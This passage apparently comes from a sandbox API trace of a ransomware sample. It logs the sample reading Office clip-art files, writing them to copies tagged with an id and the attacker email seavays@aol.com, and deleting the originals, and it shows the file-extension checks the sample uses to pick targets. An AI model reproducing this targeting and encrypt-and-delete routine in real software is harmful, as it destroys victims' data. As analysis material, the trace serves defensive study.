[0176.246] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1220, lpOverlapped=0x0) returned 1 [0176.247] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.247] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.247] SetEndOfFile (hFile=0x548) returned 1 [0176.247] CloseHandle (hObject=0x548) returned 1 [0176.247] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.247] SetEndOfFile (hFile=0x524) returned 1 [0176.940] CloseHandle (hObject=0x524) returned 1 [0176.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0176.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.942] lstrlenW (lpString=".doc") returned 4 [0176.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString=".docx") returned 5 [0176.943] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.943] lstrlenW (lpString=".pdf") returned 4 [0176.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString=".xls") returned 4 [0176.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.943] lstrlenW (lpString=".xlsx") returned 5 [0176.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.943] lstrlenW (lpString=".ppt") returned 4 [0176.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.943] lstrlenW (lpString=".zip") returned 4 [0176.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.943] lstrlenW (lpString=".rar") returned 4 [0176.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString=".bz2") returned 4 [0176.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString=".7z") returned 3 [0176.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.943] lstrlenW (lpString=".dbf") returned 4 [0176.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.943] lstrlenW (lpString=".1cd") returned 4 [0176.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.944] lstrlenW (lpString=".jpg") returned 4 [0176.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.944] lstrlenW (lpString=".doc") returned 4 [0176.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.944] lstrlenW (lpString=".docx") returned 5 [0176.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.944] lstrlenW (lpString=".pdf") returned 4 [0176.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.944] lstrlenW (lpString=".xls") returned 4 [0176.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.944] lstrlenW (lpString=".xlsx") returned 5 [0176.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.944] lstrlenW (lpString=".ppt") returned 4 [0176.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.944] lstrlenW (lpString=".zip") returned 4 [0176.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.944] lstrlenW (lpString=".rar") returned 4 [0176.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.945] lstrlenW (lpString=".bz2") returned 4 [0176.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.945] lstrlenW (lpString=".7z") returned 3 [0176.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.945] lstrlenW (lpString=".dbf") returned 4 [0176.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.945] lstrlenW (lpString=".1cd") returned 4 [0176.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0176.945] lstrlenW (lpString=".jpg") returned 4 [0176.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.945] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.945] lstrlenW (lpString="J0107746.WMF") returned 12 [0176.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.948] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4788) returned 1 [0176.948] CloseHandle (hObject=0x524) returned 1 [0176.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220 [0176.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.949] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.949] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0176.950] GetLastError () returned 0x0 [0176.950] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x12b4, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x12c0, lpOverlapped=0x0) returned 1 [0176.954] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.954] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.954] SetEndOfFile (hFile=0x548) returned 1 [0176.954] CloseHandle (hObject=0x548) returned 1 [0176.954] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.954] SetEndOfFile (hFile=0x524) returned 1 [0176.959] CloseHandle (hObject=0x524) returned 1 [0176.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.961] lstrlenW (lpString=".doc") returned 4 [0176.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.961] lstrlenW (lpString=".docx") returned 5 [0176.961] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.961] lstrlenW (lpString=".pdf") returned 4 [0176.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.961] lstrlenW (lpString=".xls") returned 4 [0176.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.961] lstrlenW (lpString=".xlsx") returned 5 [0176.962] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.962] lstrlenW (lpString=".ppt") returned 4 [0176.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString=".zip") returned 4 [0176.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.962] lstrlenW (lpString=".rar") returned 4 [0176.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString=".bz2") returned 4 [0176.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString=".7z") returned 3 [0176.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString=".dbf") returned 4 [0176.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString=".1cd") returned 4 [0176.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString=".jpg") returned 4 [0176.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.962] lstrlenW (lpString=".doc") returned 4 [0176.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString=".docx") returned 5 [0176.963] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.963] lstrlenW (lpString=".pdf") returned 4 [0176.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString=".xls") returned 4 [0176.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.963] lstrlenW (lpString=".xlsx") returned 5 [0176.963] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.963] lstrlenW (lpString=".ppt") returned 4 [0176.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.963] lstrlenW (lpString=".zip") returned 4 [0176.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.963] lstrlenW (lpString=".rar") returned 4 [0176.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString=".bz2") returned 4 [0176.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString=".7z") returned 3 [0176.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.963] lstrlenW (lpString=".dbf") returned 4 [0176.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.963] lstrlenW (lpString=".1cd") returned 4 [0176.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0176.964] lstrlenW (lpString=".jpg") returned 4 [0176.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.964] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.964] lstrlenW (lpString="J0107748.WMF") returned 12 [0176.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.966] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=8224) returned 1 [0176.967] CloseHandle (hObject=0x524) returned 1 [0176.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0176.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.967] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.968] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0176.969] GetLastError () returned 0x0 [0176.969] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2020, lpOverlapped=0x0) returned 1 [0176.971] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2030, lpOverlapped=0x0) returned 1 [0176.973] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.973] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.973] SetEndOfFile (hFile=0x548) returned 1 [0176.973] CloseHandle (hObject=0x548) returned 1 [0176.973] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.973] SetEndOfFile (hFile=0x524) returned 1 [0176.976] CloseHandle (hObject=0x524) returned 1 [0177.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.788] lstrlenW (lpString=".doc") returned 4 [0177.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString=".docx") returned 5 [0177.788] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.788] lstrlenW (lpString=".pdf") returned 4 [0177.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString=".xls") returned 4 [0177.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.788] lstrlenW (lpString=".xlsx") returned 5 [0177.788] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.788] lstrlenW (lpString=".ppt") returned 4 [0177.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.788] lstrlenW (lpString=".zip") returned 4 [0177.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.788] lstrlenW (lpString=".rar") returned 4 [0177.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString=".bz2") returned 4 [0177.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString=".7z") returned 3 [0177.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.788] lstrlenW (lpString=".dbf") returned 4 [0177.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.788] lstrlenW (lpString=".1cd") returned 4 [0177.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.789] lstrlenW (lpString=".jpg") returned 4 [0177.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.789] lstrlenW (lpString=".doc") returned 4 [0177.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString=".docx") returned 5 [0177.789] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.789] lstrlenW (lpString=".pdf") returned 4 [0177.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString=".xls") returned 4 [0177.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.789] lstrlenW (lpString=".xlsx") returned 5 [0177.789] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.789] lstrlenW (lpString=".ppt") returned 4 [0177.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.789] lstrlenW (lpString=".zip") returned 4 [0177.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.789] lstrlenW (lpString=".rar") returned 4 [0177.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString=".bz2") returned 4 [0177.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.789] lstrlenW (lpString=".7z") returned 3 [0177.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.790] lstrlenW (lpString=".dbf") returned 4 [0177.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.790] lstrlenW (lpString=".1cd") returned 4 [0177.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0177.790] lstrlenW (lpString=".jpg") returned 4 [0177.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.790] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.790] lstrlenW (lpString="J0145810.JPG") returned 12 [0177.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.792] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=36792) returned 1 [0177.792] CloseHandle (hObject=0x520) returned 1 [0177.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220 [0177.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.793] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.793] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.794] GetLastError () returned 0x0 [0177.794] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0177.797] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0177.799] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.799] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, 